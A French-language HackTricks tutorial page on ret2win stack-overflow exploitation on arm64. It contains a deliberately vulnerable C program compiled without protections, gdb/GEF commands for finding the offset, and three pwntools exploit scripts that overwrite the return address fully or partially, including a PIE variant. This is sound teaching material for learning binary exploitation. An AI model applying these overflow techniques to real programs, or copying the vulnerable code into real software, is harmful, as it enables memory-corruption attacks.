Ret2win - arm64

Reading time: 5 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Trouvez une introduction à arm64 dans :

Introduction to ARM64v8

Code

c
#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Compiler sans pie et canary :

bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie

Trouver le décalage

Option de motif

Cet exemple a été créé en utilisant GEF :

Démarrez gdb avec gef, créez un motif et utilisez-le :

bash
gdb -q ./ret2win
pattern create 200
run

arm64 essaiera de retourner à l'adresse dans le registre x30 (qui a été compromis), nous pouvons utiliser cela pour trouver le décalage du motif :

bash
pattern search $x30

Le décalage est de 72 (9x48).

Option de décalage de la pile

Commencez par obtenir l'adresse de la pile où le registre pc est stocké :

bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

Maintenant, définissez un point d'arrêt après le read() et continuez jusqu'à ce que le read() soit exécuté et définissez un motif tel que 13371337 :

b *vulnerable_function+28
c

Trouvez où ce motif est stocké en mémoire :

Ensuite : 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

Pas de PIE

Régulier

Obtenez l'adresse de la fonction win :

bash
objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

Exploitation :

python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

En fait, cela va plutôt ressembler à un off-by-2 dans le PC stocké dans la pile. Au lieu d'écraser toute l'adresse de retour, nous allons écraser uniquement les 2 derniers octets avec 0x06c4.

python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Vous pouvez trouver un autre exemple off-by-one en ARM64 dans https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, qui est un véritable off-by-one dans une vulnérabilité fictive.

Avec PIE

tip

Compilez le binaire sans l'argument -no-pie

Off-by-2

Sans un leak, nous ne connaissons pas l'adresse exacte de la fonction gagnante, mais nous pouvons connaître le décalage de la fonction par rapport au binaire et sachant que l'adresse de retour que nous écrasons pointe déjà vers une adresse proche, il est possible de leak le décalage vers la fonction win (0x7d4) dans ce cas et d'utiliser simplement ce décalage :

python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x07d4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks